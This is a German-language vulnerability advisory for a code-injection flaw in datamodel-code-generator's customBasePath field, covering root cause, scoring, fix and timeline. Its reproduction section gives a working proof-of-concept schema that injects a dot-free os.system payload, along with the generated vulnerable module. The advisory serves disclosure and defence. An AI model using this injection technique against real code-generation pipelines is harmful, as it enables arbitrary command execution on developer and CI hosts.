
Code-Injection (RCE) in datamodel-code-generator über nicht validierten customBasePath (CVE-2026-63720)
Schweregrad: Hoch, CVSS 3.1 7.5 / CVSS 4.0 7.5 (zugewiesen von VulnCheck, der CNA)
Umgebungs-Obergrenze (Netzwerkdienst-Bereitstellung): bis zu 9.8
Vektor (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vektor (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Betroffen: datamodel-code-generator < 0.70.0
Behoben in: 0.70.0
CWE: CWE-94 (Unzureichende Kontrolle der Codegenerierung, 'Code-Injection')
Gemeldet von: Rahul Karne
CNA: VulnCheck
Veröffentlicht: 26. Juli 2026
Das Tool konvertiert ein Eingabeschema (JSON Schema, OpenAPI, YAML) in Python-Modellquellcode. Mehrere Schemafelder werden direkt in diesen generierten Code gerendert, daher validiert das Projekt sie vor der Verwendung als Dotted-Python-Identifier, speziell um Injection zu verhindern. Das Schema-Erweiterungsfeld customBasePath ist das eine Geschwisterfeld, das diese Prüfung überspringt. Sein Wert fließt unbereinigt in eine from ... import ...-Anweisung im generierten Output. Ein Angreifer, der das Eingabeschema kontrolliert, kann beliebiges Python mithilfe von Zeilenumbrüchen und einem punktfreien Ausdruck einbetten, und es wird in dem Moment ausgeführt, in dem das generierte Modul importiert wird – der übliche nächste Schritt nach der Modellgenerierung.
Dies ist eine unvollständige Behebung von CVE-2026-55415 (GHSA-5578-w22f-pfx9), die die Geschwisterfelder customTypePath und x-python-import gegen genau diese Klasse gehärtet hat. Diese Behebung deckte customBasePath nicht ab, das unvalidiert zum identischen Sink gelangt und bis 0.68.1 sowie in main bis 0.70.0 ausnutzbar blieb.
Beliebige Python-Codeausführung in dem Prozess, der die generierten Modelle importiert oder ausführt: auf dem Rechner des Entwicklers, einem CI-Runner oder jedem Dienst, der Modelle generiert und anschließend lädt. Vertraulichkeit, Integrität und Verfügbarkeit des Hosts sind vollständig kompromittiert, begrenzt nur durch die Berechtigungen dieses Prozesses.
Der Schweregrad hängt vollständig davon ab, wo Codegen mit nicht vertrauenswürdigem Input läuft:
Wer ist betroffen: Jede Verwendung von datamodel-code-generator < 0.70.0, die (1) Modelle aus einem Schema generiert, dessen customBasePath-Wert vom Angreifer beeinflusst ist, und (2) das generierte Modul importiert oder ausführt. Der Standard-Workflow Codegen-dann-Import erfüllt (2) von Natur aus.
Wer ist nicht betroffen:
0.70.0 oder neuer verwenden, wo customBasePath validiert wird.| Metrik | Wert | Quelle |
|---|---|---|
| Downloads, gesamt | 194 Millionen | pepy.tech/projects/datamodel-code-generator |
| Downloads, letzte 30 Tage | 16,3 Millionen | pepy.tech |
| Typische Bereitstellung | Entwickler-Rechner, CI/CD-Pipelines und SDK-Generierungsplattformen, die Codegen aus OpenAPI / JSON Schema betreiben | in der Funktion des Tools begründet |
Der Wert des Schemafelds customBasePath wird ohne Identifier-Einschränkung in den generierten Code übernommen. Drei Punkte in der Codebasis sind relevant (Pfade relativ zu src/datamodel_code_generator/):
parser/jsonschema.py definiert das Feld custom_base_path mit alias="customBasePath" (~Zeile 644), das über _resolve_base_class(...) an mehreren Aufrufstellen konsumiert wird.parser/base.py, _resolve_base_class (~Zeile 1665), gibt den Wert nur nach einem lokalen normalize() zurück (Deduplizierung/Trimmen). Es wird keine Identifier-Validierung angewendet.imports.py, Import.from_full_path() (~Zeile 35), gibt den Wert wörtlich als from ... import ...-Zeile aus. Der Wert wird auch als Klassenbasis in model/base.py set_base_class (~Zeile 1324) verwendet und von der Modellvorlage roh gerendert (class {{ class_name }}({{ base_class }}):).Da der Wert ohne Einschränkung in den Python-Quellcode geschrieben wird, bleiben eingebettete Zeilenumbrüche und ein punktfreier Ausdruck im Output als eigene, einzeln parsebare Zeilen erhalten, und die mittlere Zeile wird beim Import ausgeführt.
Die Payload ist notgedrungen punktfrei. Import.from_full_path teilt den Wert an . auf, sodass ein normaler os.system(...)-Aufruf auseinandergerissen würde. Durch die Verwendung von getattr(__import__('os'),'system')(...) wird jeder . vermieden, während derselbe Aufruf weiterhin aufgelöst wird; die umgebenden Zeilenumbrüche halten die ausgegebenen from ... import ...-Zeilen syntaktisch gültig, sodass die injizierte mittlere Zeile sauber läuft.
Dies ist kein Projekt, das Injection vernachlässigt hat. Der Maintainer hat genau diese Klasse wiederholt über mehrere Advisories gehärtet (GHSA-5578, m34r, 8m8r, wjv6), indem er jedes Mal einen schema-kontrollierten Import- oder Typ-String durch _validate_dotted_python_identifier_path leitete, bevor dieser die Codegenerierung erreicht. Die Geschwisterfelder customTypePath (validiert bei parser/jsonschema.py ~Zeilen 4956, 5202) und x-python-import (~Zeile 2096) durchlaufen beide diesen Validator.
customBasePath ist das eine Geschwisterfeld ohne einen solchen Aufruf. Es erreicht denselben Import.from_full_path-Sink über einen anderen Pfad (_resolve_base_class), der nie in die Validierung eingebunden wurde, die die anderen Felder erhielten. Der Defekt überlebte genau deshalb, weil die umgebende Verteidigung vollständig wirkte: Ein Prüfer, der nach unvalidierten Import-Strings sucht, sieht Validatoren auf den Feldern, die er zuerst prüft, und dieses Feld führt über einen Helfer, der wie Basisklassen-Auflösung aussieht statt wie Import-Behandlung. Es ist eine Lücke in einer systematischen Behebung, keine gänzlich fehlende, weshalb es bis in die neueste Version überdauerte.
Ein Angreifer benötigt:
< 0.70.0 verwendet.customBasePath-Wert in einem Schema, das das Ziel verarbeiten wird, in der Praxis durch Bereitstellen oder Beeinflussen des Eingabeschemas (ein Drittanbieter-OpenAPI-/JSON-Schema-Dokument oder ein Schema, das an einen Dienst übermittelt wird).Vom Angreifer sind keine Authentifizierung oder erhöhte Berechtigungen erforderlich (PR:N). Die Basisbewertung spiegelt wider, dass das Opfer die übliche Generieren-und-Importieren-Aktion ausführt (UI:R in v3.1 / UI:A in v4.0); die Netzwerkdienst-Bereitstellung beseitigt selbst das, und genau daher stammt die Umgebungsbewertung von 9.8.
Das Folgende wurde gegen das echte, unveränderte Paket ausgeführt. Reproduktion:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
Angreifer-Input (attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
Generiertes generated_models.py auf der verwundbaren Version (0.68.1):
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
Der Aufruf des Angreifers wird wörtlich in den generierten Quellcode ausgegeben.
Beim Import: der Befehl wird ausgeführt. Im verifizierten Lauf wurde die injizierte Markierung auf stdout ausgegeben und RCE_PROOF.txt wurde erstellt, das den aktuellen Benutzer (root) enthielt, was die beliebige Befehlsausführung durch den üblichen Generieren-und-Importieren-Workflow bestätigt.
Auf der gepatchten Version (0.70.0): dasselbe Schema wird abgelehnt, bevor irgendein Code generiert wird:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
Es wird keine Datei erzeugt. Die Ablehnungsmeldung benennt die Behebung direkt: Der Wert muss nun ein Dotted-Python-Identifier-Pfad sein.
Netzwerkdienst-Variante. Ein unauthentifizierter Loopback-HTTP-Dienst, der ein per POST übermitteltes Schema akzeptiert, Modelle generiert und importiert, wurde demonstriert, wie er den Befehl des Angreifers auf dem Server durch ein einziges unauthentifiziertes curl ausführt, ohne Benutzerinteraktion. Dies ist die Bereitstellungsform hinter der Umgebungsbewertung von 9.8. Die Dienst- und Angriffsdateien sind im PoC-Repository enthalten.
Aktualisieren Sie auf datamodel-code-generator 0.70.0 oder neuer:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 leitet customBasePath durch dieselbe Dotted-Identifier-Validierung, die bereits auf customTypePath und x-python-import angewendet wird, sodass ein Wert, der kein gültiger Identifier-Pfad ist, vor der Codegenerierung abgelehnt wird.
Wenn Sie nicht sofort aktualisieren können: Generieren Sie keine Modelle aus Schemas, die Sie nicht vollständig kontrollieren, und importieren oder führen Sie keine Module aus, die aus nicht vertrauenswürdigen Schemas generiert wurden. Es gibt kein Konfigurations-Flag, das die fehlende Validierung in betroffenen Versionen hinzufügt; die Aktualisierung ist die zuverlässige Behebung.
Hinweis für alle, die die Interna des Generators wiederverwenden. Der Defekt war ein fehlender Validierungsaufruf auf einem Codepfad zu Import.from_full_path, kein Fehler im Sink selbst. Jedes nachgelagerte Projekt, das schema-kontrollierte Strings in generierten Code rendert, sollte jedes solche Feld als Dotted-Identifier validieren, nicht nur diejenigen, die den offensichtlichen Import-Behandlungspfad durchlaufen.
VulnCheck (die CNA) wies 7.5 (Hoch) zu, was dem Basisvektor entspricht, den der Maintainer für das übergeordnete Advisory CVE-2026-55415 verwendete, da es sich um dieselbe Injection-Klasse, denselben Import.from_full_path-Sink und dieselbe Auswirkung handelt.
AV:N: Schemas werden häufig über das Netzwerk bezogen (abgerufene oder Drittanbieter-OpenAPI-/JSON-Schema-Dokumente).AC:H: Die Ausnutzung hängt davon ab, dass das Opfer Modelle aus dem bösartigen Schema generiert und anschließend den generierten Code importiert oder ausführt.PR:N / UI:R (v3.1): keine Angreifer-Berechtigungen; das Opfer führt den üblichen Codegen-und-Import-Workflow aus.C:H / I:H / A:H: vollständige beliebige Codeausführung auf dem Host.Die Umgebungs-Obergrenze liegt bei 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) und gilt speziell für die Netzwerkdienst-Bereitstellung, bei der der Generator nicht vertrauenswürdigen Schemas ausgesetzt ist und keine Interaktion des Opfers erforderlich ist. Diese Zahl ist ein umgebungsbezogener Hinweis für diese Bereitstellung, nicht die zugewiesene Basisbewertung. Beide Werte anzugeben und klar zu machen, welcher welcher ist, ist die ehrliche Darstellung: Die Basisbewertung liegt bei 7.5, und sie erreicht 9.8 nur im Fall des exponierten Dienstes.
| Datum | Ereignis |
|---|---|
| 13. Juli 2026 | Schwachstelle identifiziert |
| 14. Juli 2026 | Gemeldet (koordinierte Offenlegung) |
| 21. Juli 2026 | Fix committet (545a96c5) |
| 24. Juli 2026 | Gepatchte Version 0.70.0 veröffentlicht |
| 26. Juli 2026 | CVE-2026-63720 von VulnCheck veröffentlicht |
Entdeckt und gemeldet von Rahul Karne, Sicherheitsforscher und IEEE Senior Member. Seine Forschung konzentriert sich auf Injection- und Eingabeverarbeitungs-Schwachstellen in stark genutzten Open-Source-Paketen, einschließlich CVE-2026-65321 (SQL-Injection in PyAthena) und der Härtung der übergeordneten Klasse im Zusammenhang mit diesem Fund.
Kontakt: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5Presseanfragen: [email protected]. Vollständiger PoC (Angreifer-Schema, Netzwerkdienst-Demo) und zusätzliche technische Details auf Anfrage verfügbar.